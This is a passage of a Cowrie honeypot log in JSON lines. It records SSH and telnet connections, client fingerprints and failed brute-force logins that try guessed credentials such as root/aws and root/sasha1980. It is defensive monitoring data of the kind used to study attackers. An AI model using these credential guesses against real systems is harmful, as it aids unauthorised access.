p256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:18:06.029034Z","src_ip":"157.230.18.133","session":"b776ed164ee4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"portfolio","password":"portfolio123","message":"login attempt [portfolio/portfolio123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:18:06.396482Z","src_ip":"157.230.18.133","session":"b776ed164ee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:18:06.863388Z","src_ip":"222.108.100.117","session":"f14c2298aacf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:18:07.484068Z","src_ip":"157.230.18.133","session":"b776ed164ee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.04785203933716,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:18:14.371649Z","src_ip":"170.64.224.25","session":"c8b10d07a9be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":59422,"dst_ip":"159.203.135.109","dst_port":23,"session":"db3d9d837d8b","protocol":"telnet","message":"New connection: 170.64.224.25:59422 (159.203.135.109:23) [session: db3d9d837d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:18:15.707676Z"}
{"eventid":"cowrie.session.closed","duration":23.721698760986328,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:18:28.350054Z","src_ip":"170.64.224.25","session":"462595b09107","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.306138038635254,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:18:29.013679Z","src_ip":"170.64.224.25","session":"db3d9d837d8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.154.150","src_port":40240,"dst_ip":"159.203.135.109","dst_port":23,"session":"b61595e8d996","protocol":"telnet","message":"New connection: 143.198.154.150:40240 (159.203.135.109:23) [session: b61595e8d996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:18:32.351099Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.187.11","src_port":34650,"dst_ip":"10.17.0.5","dst_port":22,"session":"41433e191b41","protocol":"ssh","message":"New connection: 167.172.187.11:34650 (10.17.0.5:22) [session: 41433e191b41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:18:33.592135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:18:33.596881Z","src_ip":"167.172.187.11","session":"41433e191b41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:18:33.676858Z","src_ip":"167.172.187.11","session":"41433e191b41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":56324,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffc107ce88bc","protocol":"ssh","message":"New connection: 91.92.40.4:56324 (10.17.0.5:22) [session: ffc107ce88bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:18:33.861622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:18:33.866136Z","src_ip":"91.92.40.4","session":"ffc107ce88bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:18:33.960663Z","src_ip":"91.92.40.4","session":"ffc107ce88bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aws","message":"login attempt [root/aws] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:18:34.033578Z","src_ip":"167.172.187.11","session":"41433e191b41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pul","password":"pul","message":"login attempt [pul/pul] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:18:34.403873Z","src_ip":"91.92.40.4","session":"ffc107ce88bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:18:35.118928Z","src_ip":"167.172.187.11","session":"41433e191b41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:18:35.532196Z","src_ip":"91.92.40.4","session":"ffc107ce88bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.154.150","src_port":39774,"dst_ip":"159.203.135.109","dst_port":23,"session":"be8c670ae3d1","protocol":"telnet","message":"New connection: 143.198.154.150:39774 (159.203.135.109:23) [session: be8c670ae3d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:18:37.442825Z"}
{"eventid":"cowrie.session.connect","src_ip":"183.91.11.226","src_port":60130,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d4908562757","protocol":"telnet","message":"New connection: 183.91.11.226:60130 (159.203.135.109:23) [session: 3d4908562757]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:18:39.150801Z"}
{"eventid":"cowrie.session.closed","duration":12.040932655334473,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:18:44.391918Z","src_ip":"143.198.154.150","session":"b61595e8d996","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":59746,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb7c35c88e38","protocol":"telnet","message":"New connection: 170.64.224.25:59746 (159.203.135.109:23) [session: eb7c35c88e38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:18:45.121164Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":57438,"dst_ip":"159.203.135.109","dst_port":23,"session":"8acd907bc9b4","protocol":"telnet","message":"New connection: 170.64.224.25:57438 (159.203.135.109:23) [session: 8acd907bc9b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:18:54.469003Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.159.200","src_port":36034,"dst_ip":"159.203.135.109","dst_port":22,"session":"9823a578b962","protocol":"ssh","message":"New connection: 162.214.159.200:36034 (159.203.135.109:22) [session: 9823a578b962]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:09.886163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:09.889910Z","src_ip":"162.214.159.200","session":"9823a578b962","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:09.979498Z","src_ip":"162.214.159.200","session":"9823a578b962","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"harvest","password":"harvest321","message":"login attempt [harvest/harvest321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:10.231509Z","src_ip":"162.214.159.200","session":"9823a578b962","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:11.602743Z","src_ip":"162.214.159.200","session":"9823a578b962","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.86.192.66","src_port":44520,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2a59577898d","protocol":"ssh","message":"New connection: 195.86.192.66:44520 (10.17.0.5:22) [session: c2a59577898d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:12.385191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:12.387264Z","src_ip":"195.86.192.66","session":"c2a59577898d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:12.614128Z","src_ip":"195.86.192.66","session":"c2a59577898d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":48624,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8696be2e045","protocol":"ssh","message":"New connection: 103.27.238.116:48624 (10.17.0.5:22) [session: a8696be2e045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:13.416499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:13.421103Z","src_ip":"103.27.238.116","session":"a8696be2e045","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"azerty59","message":"login attempt [root/azerty59] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:13.561454Z","src_ip":"195.86.192.66","session":"c2a59577898d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:13.701198Z","src_ip":"103.27.238.116","session":"a8696be2e045","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sasha1980","message":"login attempt [root/sasha1980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:14.543722Z","src_ip":"103.27.238.116","session":"a8696be2e045","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:14.799769Z","src_ip":"195.86.192.66","session":"c2a59577898d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:15.826196Z","src_ip":"103.27.238.116","session":"a8696be2e045","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.145.199","src_port":53146,"dst_ip":"10.17.0.5","dst_port":22,"session":"80b0398c7db8","protocol":"ssh","message":"New connection: 101.32.145.199:53146 (10.17.0.5:22) [session: 80b0398c7db8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:19.258948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:19.271515Z","src_ip":"101.32.145.199","session":"80b0398c7db8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:19.513177Z","src_ip":"101.32.145.199","session":"80b0398c7db8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kranenr1@","message":"login attempt [root/kranenr1@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:20.492120Z","src_ip":"101.32.145.199","session":"80b0398c7db8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:21.746604Z","src_ip":"101.32.145.199","session":"80b0398c7db8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":32411,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f6d744cc0e2","protocol":"ssh","message":"New connection: 223.197.186.7:32411 (10.17.0.5:22) [session: 9f6d744cc0e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:23.283095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:23.286590Z","src_ip":"223.197.186.7","session":"9f6d744cc0e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:23.503495Z","src_ip":"223.197.186.7","session":"9f6d744cc0e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":40232,"dst_ip":"159.203.135.109","dst_port":22,"session":"3775a9e97465","protocol":"ssh","message":"New connection: 175.118.127.138:40232 (159.203.135.109:22) [session: 3775a9e97465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:23.753441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:19:23.757836Z","src_ip":"175.118.127.138","session":"3775a9e97465","protocol":"ssh"}
